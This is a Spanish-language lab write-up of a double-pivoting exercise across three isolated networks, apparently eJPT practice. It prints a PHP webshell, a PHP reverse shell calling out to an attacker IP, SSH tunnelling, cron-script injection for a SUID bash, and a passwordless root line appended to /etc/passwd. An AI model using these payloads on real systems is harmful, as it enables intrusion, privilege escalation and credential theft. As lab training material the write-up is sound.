Lab 4 — File Upload + MySQL + Cron + Doble Pivoting (ejecución real)
Ejecución real del laboratorio de doble pivoting. Tres redes completamente aisladas entre sí.
Este write-up documenta el proceso real incluyendo los obstáculos encontrados: reverse shells
que no funcionaban por limitaciones del contenedor, wget roto desde la webshell, y la solución
final usando una reverse shell PHP con proc_open.
Topología del laboratorio
Reconocimiento + File Upload
Escaneo inicial sobre la Red A para identificar el primer pivot.
nmap -sV -p 80,22 172.22.10.8
Sin restricciones de extensión en el upload.
Enumeración de rutas con gobuster:
gobuster dir -u http://172.22.10.8 \
-w /usr/share/wordlists/dirb/common.txt
Se subió una webshell PHP básica para confirmar RCE:
# shell.php:
<?php system($_GET['cmd']); ?>
curl -F "[email protected]" http://172.22.10.8/upload
uid=0(root)
Reverse Shell — Obstáculos y solución real
Aquí surgieron varios problemas no documentados en teoría. Las reverse shells estándar fallaron por distintos motivos:
⚠️ mkfifo + nc → Sin respuesta. La versión de nc del contenedor no tenía
-e.⚠️ wget desde la webshell → Interpretaba la URL completa como hostname por el modo en que la webshell pasaba el comando.
⚠️ curl → No instalado en el contenedor.
La solución fue subir un segundo archivo PHP que ejecuta la reverse shell directamente al ser visitado, sin depender de parámetros GET:
# rs.php — reverse shell via proc_open:
<?php
$sock=fsockopen("192.168.1.151",9001);
$proc=proc_open("/bin/bash -i",
array(0=>$sock,1=>$sock,2=>$sock),$pipes);
proc_close($proc);
?>
# Subir:
curl -F "[email protected]" http://172.22.10.8/upload
# Listener:
nc -lvnp 9001
# Ejecutar visitando la URL:
curl http://172.22.10.8/files/rs.php
Descubrimiento Red B desde PIVOT 1
# Leer notas internas del pivot:
cat /home/devuser/network.txt
# Red interna B: 172.22.20.0/24
# DB server: 172.22.20.20 (MySQL:3306, SSH:22)
# Confirmar puertos abiertos en el target:
for p in 22 3306 80 443; do
(echo > /dev/tcp/172.22.20.20/$p) 2>/dev/null \
&& echo "Abierto: $p"
done
Túnel SSH + Extracción de credenciales MySQL
Sin Meterpreter, montamos el pivoting mediante túnel SSH directo desde Kali usando las credenciales del PIVOT 1.
# Túnel SSH — redirige MySQL del PIVOT2 a Kali:
ssh -L 13306:172.22.20.20:3306 [email protected]
# password: devpass123
# Conectar a MySQL a través del túnel:
mysql -h 127.0.0.1 -P 13306 -u root
mysql> USE corp_db;
mysql> SELECT * FROM system_users;
dbadmin : Mysql@2024! → SSH a PIVOT2 (172.22.20.20)
sysop : Pr0d_S3rv3r! → SSH a TARGET (172.22.30.30)
SSH a PIVOT 2 + Cron Job Privesc
ssh [email protected]
# password: Mysql@2024!
# Enumerar cron jobs:
cat /etc/cron.d/*
# * * * * * root /opt/scripts/maintenance.sh
# Verificar permisos del script:
ls -la /opt/scripts/maintenance.sh
# -rwxrwxrwx ← escribible por todos
Al estar en una red interna sin salida a Kali, la reverse shell al cron no era viable. Se optó por escalada local mediante SUID bash:
# Inyectar en el script — copia bash con bit SUID:
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" \
>> /opt/scripts/maintenance.sh
# Esperar 1 minuto a que cron lo ejecute:
ls -la /tmp/rootbash
# -rwsr-sr-x ← SUID activo
# Ejecutar como root:
/tmp/rootbash -p
whoami # root
# Leer credenciales del TARGET:
cat /root/infra/prod_creds.txt
# prod-server01: 172.22.30.30
# sysop : Pr0d_S3rv3r!
# Nota: /etc/passwd escribible
Segundo túnel SSH + Acceso al TARGET
Desde Kali, montamos un segundo salto encadenando los dos túneles SSH para llegar a la Red C:
# Túnel encadenado: Kali → PIVOT1 → PIVOT2 → TARGET
ssh -L 2222:172.22.30.30:22 \
-o [email protected] \
[email protected]
# SSH al TARGET a través del túnel:
ssh -p 2222 [email protected]
# password: Pr0d_S3rv3r!
Escalada via /etc/passwd + Flag
# Verificar permisos:
ls -la /etc/passwd
# -rw-rw-rw- ← escribible por todos
# Añadir usuario root sin password:
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
# Escalar:
su hacker
whoami # root
cat /root/flag.txt
> en lugar de >> al escribir en /etc/passwd, sobreescribiendo todos los usuarios del sistema. En un entorno real esto hubiera tumbado todos los servicios. Siempre usar >> para añadir sin destruir.
FLAG{d0ubl3_p1v0t_m4st3r_eJPT_c0mpl3t3!}
Conclusiones y aprendizajes
- Las reverse shells estándar desde webshells PHP tienen limitaciones reales — cuando bash y nc fallan,
proc_openes la alternativa más fiable porque gestiona los file descriptors directamente sin depender del shell del sistema. - Cuando no hay Meterpreter disponible, el túnel SSH (
ssh -L) es suficiente para pivotar. ConProxyJumpse pueden encadenar múltiples saltos en un solo comando. - Un cron job con script escribible en una red sin salida se escala localmente creando una bash SUID — no hace falta reverse shell si el objetivo es solo elevar privilegios.
>sobreescribe,>>añade. En ficheros críticos del sistema como /etc/passwd, /etc/sudoers o scripts de cron, usar siempre>>.- La información encontrada en cada máquina comprometida (notas, archivos de configuración, bases de datos) es el hilo que conecta cada fase. Sin documentar esas credenciales en cada paso, el avance se complica enormemente.
- El doble pivoting no requiere herramientas complejas — dos túneles SSH encadenados son suficientes para atravesar tres redes completamente aisladas.
Volver a CTF & Labs.